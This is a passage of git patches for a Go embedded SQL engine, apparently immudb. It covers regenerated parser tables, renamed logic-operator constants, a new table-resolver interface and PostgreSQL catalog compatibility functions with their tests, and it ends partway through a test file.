116, 116, -39, 61, -61, -60, 97, -6, + 97, 58, 108, -51, 109, 110, 112, 111, 113, 94, + 95, 96, 82, 97, 69, -59, 86, 77, -37, -37, + 116, -37, -38, -37, -21, 107, 116, 116, 116, 106, + 80, 116, 97, 26, 10, -31, -31, -37, 116, 97, + 31, 30, 31, 31, 32, 10, 97, 97, -12, -10, + 97, -10, -55, 6, -37, -39, 108, 96, -25, -27, + 116, 88, 89, 23, 90, -19, 97, -37, -37, -37, + -37, -37, -37, -37, -37, -37, 84, 77, 97, 78, + 81, 98, -6, 117, -66, 73, 107, 101, 111, -22, + 97, -37, -17, -16, -37, 97, -8, -9, 97, 116, + 97, 101, -10, -9, 97, 97, 97, 97, 101, 30, + 30, 117, 108, 117, -45, 64, 25, -55, -60, -37, + -55, -28, 48, -6, 15, 116, 116, 116, 116, -51, + -51, 84, -37, 116, 117, -42, 73, 75, -37, 101, + 117, 117, 69, 117, 108, 108, 98, -10, 116, -63, + 11, 12, 13, 117, 30, -63, 8, 8, -26, 48, + -6, 97, -26, -46, 65, -37, 26, -45, -32, -33, + -34, -35, 93, -51, -14, -15, 116, 117, 21, 117, + 117, 97, 117, -6, -16, 76, -37, -37, 74, 98, + -37, -36, -9, 35, 32, -50, 118, 116, 117, -10, + 97, 97, 97, -62, 26, -14, -37, -11, 97, 116, + -46, -39, -33, 59, 108, 117, -17, -51, 97, -51, + -51, 117, -51, 117, 117, 74, -37, 117, 33, -37, + 97, -58, 84, 77, 99, 99, 117, 52, -10, -44, + 62, -25, -15, 117, 117, -37, 34, 108, 35, -57, + 83, 84, 119, 117, 53, 117, -40, 60, 63, -55, + -51, -11, -36, -37, 54, -53, 66, -37, -13, -22, + 26, 117, 108, -45, 63, 108, -37, -36, -46, -52, + -37, -22, 108, -54, 67, 68, -37, -54, } var yyDef = [...]int16{ @@ -545,47 +549,47 @@ var yyDef = [...]int16{ 0, 140, 135, 0, 0, 0, 0, 0, 0, 0, 35, 0, 62, 0, 160, 0, 148, 59, 0, 98, 104, 0, 0, 112, 0, 0, 0, 0, 0, 0, - 0, 0, 168, 0, 0, 0, 194, 177, 178, 0, - 0, 0, 174, 115, 0, 0, 0, 71, 0, 48, - 0, 0, 0, 0, 137, 138, 139, 0, 22, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 63, 67, - 0, 154, 0, 149, 160, 0, 0, 160, 133, 0, - 0, 0, 0, 0, 167, 131, 167, 195, 196, 197, - 198, 199, 200, 201, 202, 0, 169, 0, 0, 192, - 0, 191, 187, 0, 0, 118, 0, 0, 120, 0, - 0, 72, 73, 121, 0, 86, 0, 0, 0, 43, - 0, 23, 24, 0, 26, 27, 43, 0, 0, 0, - 0, 0, 156, 0, 0, 154, 60, 61, -2, 167, - 0, 0, 0, 0, 0, 0, 0, 129, 113, 203, - 179, 0, 180, 0, 0, 0, 0, 119, 116, 117, - 0, 85, 0, 170, 89, 0, 0, 28, 44, 45, - 46, 21, 0, 29, 0, 0, 57, 0, 56, 68, - 52, 53, 0, 155, 0, 156, 148, 142, -2, 0, - 147, 122, 0, 64, 71, 167, 0, 167, 167, 0, - 167, 0, 0, 184, 0, 188, 0, 0, 74, 0, - 87, 0, 0, 94, 0, 0, 19, 0, 25, 31, - 32, 51, 0, 55, 157, 161, 49, 0, 54, 150, - 144, 0, 0, 123, 0, 124, 0, 125, 126, 127, - 128, 181, 182, 0, 185, 80, 0, 0, 0, 92, - 95, 0, 0, 0, 20, 0, 0, 152, 0, 160, - 65, 66, 167, 186, 0, 170, 0, 88, 93, 96, - 90, 91, 0, 50, 158, 0, 0, 0, 130, 0, - 171, 0, 58, 154, 0, 153, 151, 69, 0, 17, - 170, 156, 0, 0, 145, 172, 105, 159, 164, 70, - 0, 162, 165, 166, 164, 163, + 0, 0, 0, 168, 0, 0, 0, 194, 177, 178, + 0, 0, 0, 174, 115, 0, 0, 0, 71, 0, + 48, 0, 0, 0, 0, 137, 138, 139, 0, 22, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 63, + 67, 0, 154, 0, 149, 160, 0, 0, 160, 133, + 0, 0, 0, 0, 0, 167, 131, 167, 195, 196, + 197, 198, 199, 200, 201, 202, 203, 0, 169, 0, + 0, 192, 0, 191, 187, 0, 0, 118, 0, 0, + 120, 0, 0, 72, 73, 121, 0, 86, 0, 0, + 0, 43, 0, 23, 24, 0, 26, 27, 43, 0, + 0, 0, 0, 0, 156, 0, 0, 154, 60, 61, + -2, 167, 0, 0, 0, 0, 0, 0, 0, 129, + 113, 204, 179, 0, 180, 0, 0, 0, 0, 119, + 116, 117, 0, 85, 0, 170, 89, 0, 0, 28, + 44, 45, 46, 21, 0, 29, 0, 0, 57, 0, + 56, 68, 52, 53, 0, 155, 0, 156, 148, 142, + -2, 0, 147, 122, 0, 64, 71, 167, 0, 167, + 167, 0, 167, 0, 0, 184, 0, 188, 0, 0, + 74, 0, 87, 0, 0, 94, 0, 0, 19, 0, + 25, 31, 32, 51, 0, 55, 157, 161, 49, 0, + 54, 150, 144, 0, 0, 123, 0, 124, 0, 125, + 126, 127, 128, 181, 182, 0, 185, 80, 0, 0, + 0, 92, 95, 0, 0, 0, 20, 0, 0, 152, + 0, 160, 65, 66, 167, 186, 0, 170, 0, 88, + 93, 96, 90, 91, 0, 50, 158, 0, 0, 0, + 130, 0, 171, 0, 58, 154, 0, 153, 151, 69, + 0, 17, 170, 156, 0, 0, 145, 172, 105, 159, + 164, 70, 0, 162, 165, 166, 164, 163, } var yyTok1 = [...]int8{ 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 112, 3, 3, - 115, 116, 110, 108, 107, 109, 113, 111, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 113, 3, 3, + 116, 117, 111, 109, 108, 110, 114, 112, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 117, 3, 118, + 3, 118, 3, 119, } var yyTok2 = [...]int8{ @@ -599,7 +603,7 @@ var yyTok2 = [...]int8{ 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, - 102, 103, 104, 105, 106, 114, + 102, 103, 104, 105, 106, 107, 115, } var yyTok3 = [...]int8{ @@ -1960,19 +1964,24 @@ yydefault: case 200: yyDollar = yyS[yypt-3 : yypt+1] { - yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} + yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: And, right: yyDollar[3].exp} } case 201: yyDollar = yyS[yypt-3 : yypt+1] { - yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} + yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: Or, right: yyDollar[3].exp} } case 202: yyDollar = yyS[yypt-3 : yypt+1] { - yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} + yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } case 203: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} + } + case 204: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index ffab9e4ab6..829e0c93c5 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -157,12 +157,12 @@ func CmpOperatorToString(op CmpOperator) string { type LogicOperator = int const ( - AND LogicOperator = iota - OR + And LogicOperator = iota + Or ) func LogicOperatorToString(op LogicOperator) string { - if op == AND { + if op == And { return "AND" } return "OR" @@ -4410,7 +4410,7 @@ func (bexp *NotBoolExp) selectorRanges(table *Table, asTable string, params map[ } func (bexp *NotBoolExp) String() string { - return "NOT " + bexp.exp.String() + return fmt.Sprintf("(NOT %s)", bexp.exp.String()) } type LikeBoolExp struct { @@ -4532,7 +4532,11 @@ func (bexp *LikeBoolExp) selectorRanges(table *Table, asTable string, params map } func (bexp *LikeBoolExp) String() string { - return fmt.Sprintf("(%s LIKE %s)", bexp.val.String(), bexp.pattern.String()) + fmtStr := "(%s LIKE %s)" + if bexp.notLike { + fmtStr = "(%s NOT LIKE %s)" + } + return fmt.Sprintf(fmtStr, bexp.val.String(), bexp.pattern.String()) } type CmpBoolExp struct { @@ -4886,7 +4890,7 @@ func (bexp *BinBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Typed } // short-circuit evaluation - if (bl.val && bexp.op == OR) || (!bl.val && bexp.op == AND) { + if (bl.val && bexp.op == Or) || (!bl.val && bexp.op == And) { return &Bool{val: bl.val}, nil } @@ -4901,11 +4905,11 @@ func (bexp *BinBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Typed } switch bexp.op { - case AND: + case And: { return &Bool{val: bl.val && br.val}, nil } - case OR: + case Or: { return &Bool{val: bl.val || br.val}, nil } @@ -4931,7 +4935,7 @@ func (bexp *BinBoolExp) isConstant() bool { } func (bexp *BinBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { - if bexp.op == AND { + if bexp.op == And { err := bexp.left.selectorRanges(table, asTable, params, rangesByColID) if err != nil { return err diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index 5f344ad63e..a3ecc3350d 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -717,7 +717,7 @@ func TestRequiresTypeBinValueExp(t *testing.T) { expectedError error }{ { - exp: &BinBoolExp{op: AND, left: &Bool{val: true}, right: &Bool{val: false}}, + exp: &BinBoolExp{op: And, left: &Bool{val: true}, right: &Bool{val: false}}, cols: cols, params: params, implicitTable: "mytable", @@ -725,7 +725,7 @@ func TestRequiresTypeBinValueExp(t *testing.T) { expectedError: nil, }, { - exp: &BinBoolExp{op: AND, left: &Bool{val: true}, right: &Bool{val: false}}, + exp: &BinBoolExp{op: And, left: &Bool{val: true}, right: &Bool{val: false}}, cols: cols, params: params, implicitTable: "mytable", @@ -733,7 +733,7 @@ func TestRequiresTypeBinValueExp(t *testing.T) { expectedError: ErrInvalidTypes, }, { - exp: &BinBoolExp{op: AND, left: &Integer{val: 1}, right: &Bool{val: false}}, + exp: &BinBoolExp{op: And, left: &Integer{val: 1}, right: &Bool{val: false}}, cols: cols, params: params, implicitTable: "mytable", @@ -741,7 +741,7 @@ func TestRequiresTypeBinValueExp(t *testing.T) { expectedError: ErrInvalidTypes, }, { - exp: &BinBoolExp{op: AND, left: &Bool{val: false}, right: &Integer{val: 1}}, + exp: &BinBoolExp{op: And, left: &Bool{val: false}, right: &Integer{val: 1}}, cols: cols, params: params, implicitTable: "mytable", @@ -1089,7 +1089,7 @@ func TestIsConstant(t *testing.T) { require.False(t, (&AggColSelector{}).isConstant()) require.True(t, (&NumExp{ - op: AND, + op: And, left: &Integer{val: 1}, right: &Integer{val: 2}, }).isConstant()) From 52df5f2b483f24e36dc7491b46af3c39c8d9225e Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 11 Dec 2024 10:06:10 +0100 Subject: [PATCH 1061/1062] chore(embedded/sql): Add support for core pg_catalog tables (pg_class, pg_namespace, pg_roles) Signed-off-by: Stefano Scafiti --- .gitignore | 5 +- embedded/sql/engine.go | 24 ++ embedded/sql/engine_test.go | 59 +++ embedded/sql/functions.go | 177 ++++++--- embedded/sql/functions_test.go | 86 +++++ embedded/sql/joint_row_reader.go | 13 +- embedded/sql/options.go | 6 + embedded/sql/parser.go | 5 +- embedded/sql/parser_test.go | 13 + embedded/sql/sql_grammar.y | 7 + embedded/sql/sql_parser.go | 475 +++++++++++++------------ embedded/sql/sql_tx.go | 7 + embedded/sql/stmt.go | 64 ++-- embedded/sql/values_row_reader.go | 2 +- embedded/sql/values_row_reader_test.go | 14 +- embedded/store/ongoing_tx.go | 4 + pkg/database/database.go | 15 +- pkg/pgsql/pgschema/resolvers_test.go | 167 +++++++++ pkg/pgsql/pgschema/table_resolvers.go | 382 ++++++++++++++++++++ pkg/pgsql/server/pgmeta/pg_type.go | 1 + pkg/pgsql/server/query_machine.go | 10 +- pkg/pgsql/server/stmts_handler.go | 9 +- pkg/server/server.go | 1 - 23 files changed, 1215 insertions(+), 331 deletions(-) create mode 100644 embedded/sql/functions_test.go create mode 100644 pkg/pgsql/pgschema/resolvers_test.go create mode 100644 pkg/pgsql/pgschema/table_resolvers.go diff --git a/.gitignore b/.gitignore index 1e974d4835..e2fb5af152 100644 --- a/.gitignore +++ b/.gitignore @@ -12,6 +12,9 @@ *.out coverage.txt +# Output of goyacc +embedded/sql/y.output + # Editor .vscode .idea @@ -50,4 +53,4 @@ token_admin swagger/dist swagger/swaggerembedded -webconsole/webconsoleembedded \ No newline at end of file +webconsole/webconsoleembedded diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 0adad90fcd..6da187e896 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -118,6 +118,7 @@ type Engine struct { lazyIndexConstraintValidation bool parseTxMetadata func([]byte) (map[string]interface{}, error) multidbHandler MultiDBHandler + tableResolvers map[string]TableResolver } type MultiDBHandler interface { @@ -134,6 +135,11 @@ type MultiDBHandler interface { ExecPreparedStmts(ctx context.Context, opts *TxOptions, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) } +type TableResolver interface { + Table() string + Resolve(ctx context.Context, tx *SQLTx, alias string) (RowReader, error) +} + type User interface { Username() string Permission() Permission @@ -176,6 +182,10 @@ func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { return nil, err } + for _, r := range opts.tableResolvers { + e.registerTableResolver(r.Table(), r) + } + // TODO: find a better way to handle parsing errors yyErrorVerbose = true @@ -728,3 +738,17 @@ func (e *Engine) GetStore() *store.ImmuStore { func (e *Engine) GetPrefix() []byte { return e.prefix } + +func (e *Engine) tableResolveFor(tableName string) TableResolver { + if e.tableResolvers == nil { + return nil + } + return e.tableResolvers[tableName] +} + +func (e *Engine) registerTableResolver(tableName string, r TableResolver) { + if e.tableResolvers == nil { + e.tableResolvers = make(map[string]TableResolver) + } + e.tableResolvers[tableName] = r +} diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 3c44841de3..166bcc1df4 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -4616,6 +4616,10 @@ func TestOrderBy(t *testing.T) { directions: []int{1, -1}, positionalRefs: []int{4, 5}, }, + { + exps: []string{"weight/(height*height)"}, + directions: []int{1}, + }, } runTest := func(t *testing.T, test *test, expectedTempFiles int) []*Row { @@ -9552,6 +9556,40 @@ func TestFunctions(t *testing.T) { }) } +func TestTableResolver(t *testing.T) { + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) + require.NoError(t, err) + defer closeStore(t, st) + + r := &mockTableResolver{ + name: "my_table", + cols: []ColDescriptor{ + {Column: "varchar_col", Type: VarcharType}, + {Column: "int_col", Type: IntegerType}, + {Column: "bool_col", Type: BooleanType}, + }, + values: [][]ValueExp{{NewVarchar("test"), NewInteger(1), NewBool(true)}}, + } + + engine, err := NewEngine( + st, + DefaultOptions(). + WithPrefix(sqlPrefix). + WithTableResolvers(r), + ) + require.NoError(t, err) + + assertQueryShouldProduceResults( + t, + engine, + "SELECT int_col, varchar_col, bool_col FROM my_table", + `SELECT * FROM ( + VALUES + (1, 'test', true) + )`, + ) +} + func assertQueryShouldProduceResults(t *testing.T, e *Engine, query, resultQuery string) { queryReader, err := e.Query(context.Background(), nil, query, nil) require.NoError(t, err) @@ -9572,3 +9610,24 @@ func assertQueryShouldProduceResults(t *testing.T, e *Engine, query, resultQuery require.Equal(t, expectedRow.ValuesByPosition, actualRow.ValuesByPosition) } } + +type mockTableResolver struct { + name string + cols []ColDescriptor + values [][]ValueExp +} + +func (r *mockTableResolver) Table() string { + return r.name +} + +func (r *mockTableResolver) Resolve(ctx context.Context, tx *SQLTx, alias string) (RowReader, error) { + return NewValuesRowReader( + tx, + nil, + r.cols, + false, + r.name, + r.values, + ) +} diff --git a/embedded/sql/functions.go b/embedded/sql/functions.go index d922c620a1..1158c3914d 100644 --- a/embedded/sql/functions.go +++ b/embedded/sql/functions.go @@ -25,39 +25,45 @@ import ( ) const ( - LengthFnCall string = "LENGTH" - SubstringFnCall string = "SUBSTRING" - ConcatFnCall string = "CONCAT" - LowerFnCall string = "LOWER" - UpperFnCall string = "UPPER" - TrimFnCall string = "TRIM" - NowFnCall string = "NOW" - UUIDFnCall string = "RANDOM_UUID" - DatabasesFnCall string = "DATABASES" - TablesFnCall string = "TABLES" - TableFnCall string = "TABLE" - UsersFnCall string = "USERS" - ColumnsFnCall string = "COLUMNS" - IndexesFnCall string = "INDEXES" - GrantsFnCall string = "GRANTS" - JSONTypeOfFnCall string = "JSON_TYPEOF" + LengthFnCall string = "LENGTH" + SubstringFnCall string = "SUBSTRING" + ConcatFnCall string = "CONCAT" + LowerFnCall string = "LOWER" + UpperFnCall string = "UPPER" + TrimFnCall string = "TRIM" + NowFnCall string = "NOW" + UUIDFnCall string = "RANDOM_UUID" + DatabasesFnCall string = "DATABASES" + TablesFnCall string = "TABLES" + TableFnCall string = "TABLE" + UsersFnCall string = "USERS" + ColumnsFnCall string = "COLUMNS" + IndexesFnCall string = "INDEXES" + GrantsFnCall string = "GRANTS" + JSONTypeOfFnCall string = "JSON_TYPEOF" + PGGetUserByIDFnCall string = "PG_GET_USERBYID" + PgTableIsVisibleFnCall string = "PG_TABLE_IS_VISIBLE" + PgShobjDescriptionFnCall string = "SHOBJ_DESCRIPTION" ) var builtinFunctions = map[string]Function{ - LengthFnCall: &LengthFn{}, - SubstringFnCall: &SubstringFn{}, - ConcatFnCall: &ConcatFn{}, - LowerFnCall: &LowerUpperFnc{}, - UpperFnCall: &LowerUpperFnc{isUpper: true}, - TrimFnCall: &TrimFnc{}, - NowFnCall: &NowFn{}, - UUIDFnCall: &UUIDFn{}, - JSONTypeOfFnCall: &JsonTypeOfFn{}, + LengthFnCall: &LengthFn{}, + SubstringFnCall: &SubstringFn{}, + ConcatFnCall: &ConcatFn{}, + LowerFnCall: &LowerUpperFnc{}, + UpperFnCall: &LowerUpperFnc{isUpper: true}, + TrimFnCall: &TrimFnc{}, + NowFnCall: &NowFn{}, + UUIDFnCall: &UUIDFn{}, + JSONTypeOfFnCall: &JsonTypeOfFn{}, + PGGetUserByIDFnCall: &pgGetUserByIDFunc{}, + PgTableIsVisibleFnCall: &pgTableIsVisible{}, + PgShobjDescriptionFnCall: &pgShobjDescription{}, } type Function interface { - requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error - inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) + RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error + InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) } @@ -67,11 +73,11 @@ type Function interface { type LengthFn struct{} -func (f *LengthFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { +func (f *LengthFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return IntegerType, nil } -func (f *LengthFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { +func (f *LengthFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } @@ -98,11 +104,11 @@ func (f *LengthFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { type ConcatFn struct{} -func (f *ConcatFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { +func (f *ConcatFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } -func (f *ConcatFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { +func (f *ConcatFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } @@ -131,11 +137,11 @@ func (f *ConcatFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { type SubstringFn struct { } -func (f *SubstringFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { +func (f *SubstringFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } -func (f *SubstringFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { +func (f *SubstringFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } @@ -180,11 +186,11 @@ type LowerUpperFnc struct { isUpper bool } -func (f *LowerUpperFnc) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { +func (f *LowerUpperFnc) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } -func (f *LowerUpperFnc) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { +func (f *LowerUpperFnc) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } @@ -226,11 +232,11 @@ func (f *LowerUpperFnc) name() string { type TrimFnc struct { } -func (f *TrimFnc) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { +func (f *TrimFnc) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } -func (f *TrimFnc) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { +func (f *TrimFnc) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } @@ -261,11 +267,11 @@ func (f *TrimFnc) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { type NowFn struct{} -func (f *NowFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { +func (f *NowFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return TimestampType, nil } -func (f *NowFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { +func (f *NowFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != TimestampType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, TimestampType, t) } @@ -285,11 +291,11 @@ func (f *NowFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { type JsonTypeOfFn struct{} -func (f *JsonTypeOfFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { +func (f *JsonTypeOfFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return VarcharType, nil } -func (f *JsonTypeOfFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { +func (f *JsonTypeOfFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != VarcharType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) } @@ -319,11 +325,11 @@ func (f *JsonTypeOfFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) type UUIDFn struct{} -func (f *UUIDFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { +func (f *UUIDFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return UUIDType, nil } -func (f *UUIDFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { +func (f *UUIDFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != UUIDType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, UUIDType, t) } @@ -336,3 +342,88 @@ func (f *UUIDFn) Apply(_ *SQLTx, params []TypedValue) (TypedValue, error) { } return &UUID{val: uuid.New()}, nil } + +// pg functions + +type pgGetUserByIDFunc struct{} + +func (f *pgGetUserByIDFunc) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != VarcharType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) + } + return nil +} + +func (f *pgGetUserByIDFunc) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return VarcharType, nil +} + +func (f *pgGetUserByIDFunc) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { + if len(params) != 1 { + return nil, fmt.Errorf("%w: '%s' function expects %d arguments but %d were provided", ErrIllegalArguments, PGGetUserByIDFnCall, 1, len(params)) + } + + if params[0].RawValue() != int64(0) { + return nil, fmt.Errorf("user not found") + } + + users, err := tx.ListUsers(tx.tx.Context()) + if err != nil { + return nil, err + } + + idx := findSysAdmin(users) + if idx < 0 { + return nil, fmt.Errorf("admin not found") + } + return NewVarchar(users[idx].Username()), nil +} + +func findSysAdmin(users []User) int { + for i, u := range users { + if u.Permission() == PermissionSysAdmin { + return i + } + } + return -1 +} + +type pgTableIsVisible struct{} + +func (f *pgTableIsVisible) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != BooleanType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) + } + return nil +} + +func (f *pgTableIsVisible) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return BooleanType, nil +} + +func (f *pgTableIsVisible) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { + if len(params) != 1 { + return nil, fmt.Errorf("%w: '%s' function expects %d arguments but %d were provided", ErrIllegalArguments, PgTableIsVisibleFnCall, 1, len(params)) + } + return NewBool(true), nil +} + +type pgShobjDescription struct{} + +func (f *pgShobjDescription) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != VarcharType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) + } + return nil +} + +func (f *pgShobjDescription) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return VarcharType, nil +} + +func (f *pgShobjDescription) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { + if len(params) != 2 { + return nil, fmt.Errorf("%w: '%s' function expects %d arguments but %d were provided", ErrIllegalArguments, PgShobjDescriptionFnCall, 2, len(params)) + } + return NewVarchar(""), nil +} diff --git a/embedded/sql/functions_test.go b/embedded/sql/functions_test.go new file mode 100644 index 0000000000..076f353ef0 --- /dev/null +++ b/embedded/sql/functions_test.go @@ -0,0 +1,86 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +import ( + "testing" + + "github.com/stretchr/testify/require" +) + +func TestPGFunctions(t *testing.T) { + t.Run("pg_get_userbyid", func(t *testing.T) { + var f pgGetUserByIDFunc + + err := f.RequiresType(BooleanType, nil, nil, "") + require.Error(t, err, ErrInvalidTypes) + + err = f.RequiresType(VarcharType, nil, nil, "") + require.NoError(t, err) + + funcType, err := f.InferType(nil, nil, "") + require.NoError(t, err) + require.Equal(t, VarcharType, funcType) + + _, err = f.Apply(nil, []TypedValue{NewInteger(0), NewInteger(0)}) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = f.Apply(nil, []TypedValue{NewInteger(1)}) + require.ErrorContains(t, err, "user not found") + }) + + t.Run("pg_table_is_visible", func(t *testing.T) { + var f pgTableIsVisible + + err := f.RequiresType(VarcharType, nil, nil, "") + require.Error(t, err, ErrInvalidTypes) + 